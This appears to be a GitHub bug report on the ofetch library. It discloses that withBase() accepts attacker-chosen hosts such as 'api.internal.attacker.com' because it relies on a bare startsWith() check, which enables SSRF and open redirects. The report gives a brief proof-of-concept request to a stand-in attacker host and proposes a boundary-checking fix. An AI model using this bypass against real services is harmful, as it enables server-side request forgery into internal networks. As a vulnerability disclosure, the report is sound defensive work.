Skip to content

SSRF via Unconstrained baseURL + Open Redirect #564

@stark-afk

Description

@stark-afk

Environment

any

Reproduction

import { ofetch } from "ofetch";

// The application explicitly forces requests to internal API
// But req.query.path is controlled by attacker: "http://api.internal.attacker.com/steal"
await ofetch("http://api.internal.attacker.com/steal", {
  baseURL: "http://api.internal", 
});
// → BUG: Fetches http://api.internal.attacker.com/steal completely bypassing the base URL enforcement

Suggested Fix

We need to enforce that if the input starts with the base URL, the boundary character following the base URL must be a valid URL separator (/, ?, #, or End-of-String).

// utils.url.ts — Add boundary check
export function withBase(input = "", base = ""): string {
  if (!base || base === "/") {
    return input;
  }

  const _base = withoutTrailingSlash(base);
  if (input.startsWith(_base)) {
    const nextChar = input[_base.length];
    if (!nextChar || nextChar === "/" || nextChar === "?" || nextChar === "#") {
      return input;
    }
  }

  return joinURL(_base, input);
}

Describe the bug

SSRF via Unconstrained baseURL + Open Redirect

withBase() checks if the input URL already contains the baseURL by using a simple .startsWith() check. If it matches, the input is returned as-is.

However, .startsWith() does not enforce host or path boundaries. If a consumer hardcodes a safe baseURL but passes a user-controlled request string, an attacker can append a suffix to the .com (e.g. .attacker.com) to bypass the base URL entirely and achieve Server-Side Request Forgery (SSRF) or an Open Redirect.

Additional context

No response

Logs

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions